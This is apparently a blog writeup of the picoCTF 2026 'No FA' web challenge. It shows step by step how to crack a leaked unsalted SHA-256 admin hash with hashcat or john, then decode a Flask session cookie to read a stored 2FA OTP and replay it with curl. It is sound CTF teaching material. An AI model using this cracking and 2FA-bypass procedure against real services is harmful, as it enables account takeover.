> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# picoCTF 2026 No FA Writeup: Reading the 2FA OTP from a Flask Session Cookie
- URL: https://taiwanding.com/en/picoctf-2026-no-fa-flask-session-2fa-bypass/
- Published: 2026-09-19T06:36:21.000Z
- Updated: 2026-09-19T06:36:21.000Z
- Description: A full picoCTF 2026 No FA writeup: the 2FA OTP is stored in Flask's signed (not encrypted) session cookie, so after cracking the leaked admin hash you decode the cookie, replay the OTP, and win.
- Author: Kevin Chen
- Tags: #en, #en-ctf

Challenge description:

> Seems like some data has been leaked! Can you get the flag?

This challenge hands you two things up front:

- application code: `app.py`
- leaked data: `users.db`

So this isn't a pure black-box guessing game — it's a white-box audit challenge. The name `No FA` looks like it's hinting at 2FA / MFA, and the challenge says data was leaked, so the first reasonable assumption is:

**Can the leaked data let us bypass 2FA?**

## Challenge info

- Challenge: No FA
- Category: Web Exploitation
- Difficulty: Medium
- Platform: picoCTF 2026
- Site type: a Flask web app with login + 2FA
- Challenge link: [https://learn.cylabacademy.org/library/765](https://learn.cylabacademy.org/library/765?ref=taiwanding.com)

## What a client-side session is: signing isn't encryption

The core of this challenge is a concept a lot of people mix up: where Flask's default session actually lives, and what it actually protects.

By default, Flask stores the session contents in a client-side cookie. That cookie is signed with the `SECRET_KEY`, whose purpose is to stop users from tampering with the contents — if you change it, the signature no longer matches.

But signing is not the same as encryption:

```text
signed: you can't change it, but you can read it
encrypted: you can't read it

```

In other words, Flask's default session is a signed cookie, not an encrypted cookie. As long as you have that cookie in hand (and you can grab it with curl, Burp, or devtools), you can decode its contents. Keep that in mind and you're already halfway to solving this: any sensitive thing the server drops into the session is effectively readable by the user — and this challenge happens to put the 2FA OTP right in there.

## Step 1: Download the white-box materials the challenge gives you

First create a folder:

```bash
cd /mnt/d/Download
mkdir -p nofa
cd nofa

```

Set the URLs:

```bash
BASE='http://foggy-cliff.picoctf.net:XXXXX'
APP='https://challenge-files.picoctf.net/.../app.py'
DB='https://challenge-files.picoctf.net/.../users.db'

```

Download:

```bash
curl -sS -L "$APP" -o app.py
curl -sS -L "$DB" -o users.db

file app.py users.db

```

You'll see:

```text
app.py: Python script
users.db: SQLite 3.x database

```

Now the direction is clear:

```text
First read app.py's login rules
Then look at what data is in users.db

```

## Step 2: Start with app.py's routes

For a white-box challenge I usually start by reading the routes:

```bash
rg -n "route|login|flag|otp|2fa|session|password|hash|sqlite|users|admin" app.py

```

This challenge has very few routes:

```python
@app.route("/")
def home():
    ...

@app.route('/login', methods=['GET', 'POST'])
def login():
    ...

@app.route('/two_fa', methods=['GET', 'POST'])
def two_fa():
    ...

@app.route('/logout')
def logout():
    ...

```

The home page logic:

```python
@app.route("/")
def home():
    if 'username' not in session or session['logged'] == 'false':
        flash('Please login to access this page', 'red')
        return redirect(url_for('login'))
    
    flag = "No flag for you!!"
    if session.get('username') == 'admin':
        flag = os.getenv('FLAG')
    
    return render_template("index.html", flag=flag)

```

From here we can lay out the conditions for getting the flag:

```text
session must contain username
session['logged'] must not be false
session['username'] must equal admin

```

In other words:

```text
We need to become an admin with logged=true

```

## Step 3: Read the login and 2FA flow

The core login logic:

```python
user = db.get_user_by_username(username)

if user and hashlib.sha256(password.encode()).hexdigest() == user['password']:
    if user['two_fa']:
        otp = str(random.randint(1000, 9999))
        session['otp_secret'] = otp
        session['otp_timestamp'] = time.time()
        session['username'] = username
        session['logged'] = 'false'
        return redirect(url_for('two_fa'))
    else:
        session['username'] = username
        session['logged'] = 'true'
        return redirect(url_for('home'))

```

There are two key points here.

First, the password is:

```python
hashlib.sha256(password.encode()).hexdigest()

```

which means what's stored in the database is a SHA-256 hash.

Second, if `two_fa` is true, an OTP is generated:

```python
otp = str(random.randint(1000, 9999))
session['otp_secret'] = otp
session['otp_timestamp'] = time.time()
session['username'] = username
session['logged'] = 'false'

```

This is the subtle part.

It puts the OTP into `session['otp_secret']`,

and in Flask's default session, the session contents live in a client-side cookie that is signed to prevent tampering — but not encrypted.

So:

```text
Can't just change it
But can read it

```

This is the very heart of the whole challenge.

Next, look at `/two_fa`:

```python
@app.route('/two_fa', methods=['GET', 'POST'])
def two_fa():
    if request.method == 'POST':
        otp = request.form['otp']
        stored_otp = session['otp_secret']
        timestamp = session.get('otp_timestamp')
        if stored_otp and otp == stored_otp and (time.time() - timestamp) < 120:
            session['logged'] = 'true'
            return redirect(url_for('home'))
        else:
            return render_template('2fa.html')
    else:
        return render_template('2fa.html')

```

This means:

```text
As long as we know the otp_secret in the session
and send it back within 120 seconds
we can flip logged to true

```

## Step 4: Look at the leaked users.db

The `users.db` the challenge gives you is SQLite.

You can inspect the schema with Python:

```bash
python3 - <<'PY'
import sqlite3

con = sqlite3.connect("users.db")
cur = con.cursor()

print("[tables]")
tables = [r[0] for r in cur.execute(
    "SELECT name FROM sqlite_master WHERE type='table'"
)]
for t in tables:
    print("-", t)

for t in tables:
    print(f"\n=== schema: {t} ===")
    for row in cur.execute(f"PRAGMA table_info({t})"):
        print(row)

    print(f"\n=== sample: {t} ===")
    for row in cur.execute(f"SELECT * FROM {t} LIMIT 20"):
        print(row)
PY

```

Tables:

```text
users

```

The `users` schema:

```text
id
username
email
password
two_fa

```

The admin row:

```text
username = admin
email = iamadmin@nfs.com
password = c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67
two_fa = 1

```

From here we can draw two conclusions:

- admin has 2FA enabled, so after logging in it goes to `/two_fa`
- admin's password hash has leaked, and there's no salt

An unsalted SHA-256 is a great candidate for a dictionary attack.

## Step 5: Crack the admin password hash

First save the admin hash to a file:

```bash
python3 - <<'PY'
import sqlite3

con = sqlite3.connect("users.db")
cur = con.cursor()

for row in cur.execute("SELECT username, password, two_fa FROM users WHERE username='admin'"):
    print(row)
    open("admin.sha256", "w").write(row[1] + "\n")
PY

cat admin.sha256

```

Using hashcat:

```bash
hashcat -m 1400 -a 0 admin.sha256 /usr/share/wordlists/rockyou.txt
hashcat -m 1400 admin.sha256 --show

```

Or john:

```bash
john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt admin.sha256
john --format=raw-sha256 --show admin.sha256

```

Result:

```text
c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67:apple@123

```

Now we have the admin password:

```text
apple@123

```

But we're not done yet, because admin has `two_fa=1`, so after logging in we still get stuck at 2FA.

## Step 6: Log in as admin and grab the session cookie

Log in with the password we just cracked:

```bash
BASE='http://foggy-cliff.picoctf.net:XXXXX'
PASS='apple@123'

curl -sS -i -c cookies.txt -X POST "$BASE/login" \
  --data-urlencode "username=admin" \
  --data-urlencode "password=$PASS" \
  -o login_admin.http

sed -n '1,140p' login_admin.http
cat cookies.txt

```

You'll see:

```http
HTTP/1.1 302 FOUND
Location: /two_fa
Set-Cookie: session=...

```

This means:

```text
The password is correct
But admin gets redirected to 2FA

```

and `cookies.txt` now holds the Flask session cookie.

## Step 7: Decode the Flask session and read the OTP

First install the tool:

```bash
python3 -m pip install --user flask-unsign

```

Pull out the cookie:

```bash
COOKIE="$(awk '$6=="session"{print $7}' cookies.txt)"

```

Decode it:

```bash
python3 -m flask_unsign --decode --cookie "$COOKIE"

```

You'll see something like:

```python
{
  'logged': 'false',
  'otp_secret': '3412',
  'otp_timestamp': 1788098991.6469016,
  'username': 'admin'
}

```

This is the most critical part of the whole challenge.

`HttpOnly` is not the answer to this problem.

`HttpOnly` only stops JavaScript in the browser from reading the cookie, but the user already has the cookie they received — with curl, Burp, browser devtools, or a proxy they can see the cookie value, and the contents of a Flask session are decodable.

It's signed, so you can't just change it:

```text
Change logged=false to logged=true

```

That would normally require knowing the Flask `SECRET_KEY` to re-sign it, but this challenge doesn't need us to change the cookie at all — the OTP is already sitting in the cookie, and we just need to read it.

## Step 8: Send the OTP and clear 2FA

Send the `otp_secret` back to `/two_fa`:

```bash
OTP='3412'

curl -sS -i -b cookies.txt -c cookies.txt -X POST "$BASE/two_fa" \
  --data-urlencode "otp=$OTP" \
  -o twofa.http

sed -n '1,120p' twofa.http

```

If it works, you'll see:

```http
HTTP/1.1 302 FOUND
Location: /
Set-Cookie: session=...

```

This means `/two_fa` has already changed the session to:

```python
session['logged'] = 'true'

```

Finally, check the home page:

```bash
curl -sS -b cookies.txt "$BASE/" -o home.html
grep -Eo 'picoCTF\{[^}]+\}' home.html

```

Result:

```text
picoCTF{Redacted}

```

### Key takeaways

The full chain, put together, is:

```text
users.db is leaked
-> obtain admin's SHA-256 password hash
-> crack admin's password with a wordlist
-> log in as admin and land on /two_fa
-> the OTP is placed in the Flask client-side session cookie
-> the Flask session is signed, not encrypted
-> decode the cookie and read out otp_secret
-> POST the OTP
-> become an admin with logged=true
-> the home page shows the flag

```

The real problem isn't "the OTP is short enough to brute-force" — it's that **the OTP is placed in a session cookie the user can read**, and that's what turns 2FA into No FA.

### The real breakthrough is understanding:

```python
session['otp_secret'] = otp

```

and knowing that:

```text
Flask's default session is a signed cookie, not an encrypted cookie

```

Signed only guarantees "you can't change it"; only encrypted guarantees "you can't see it" — and for this challenge, being able to see the OTP is all it takes.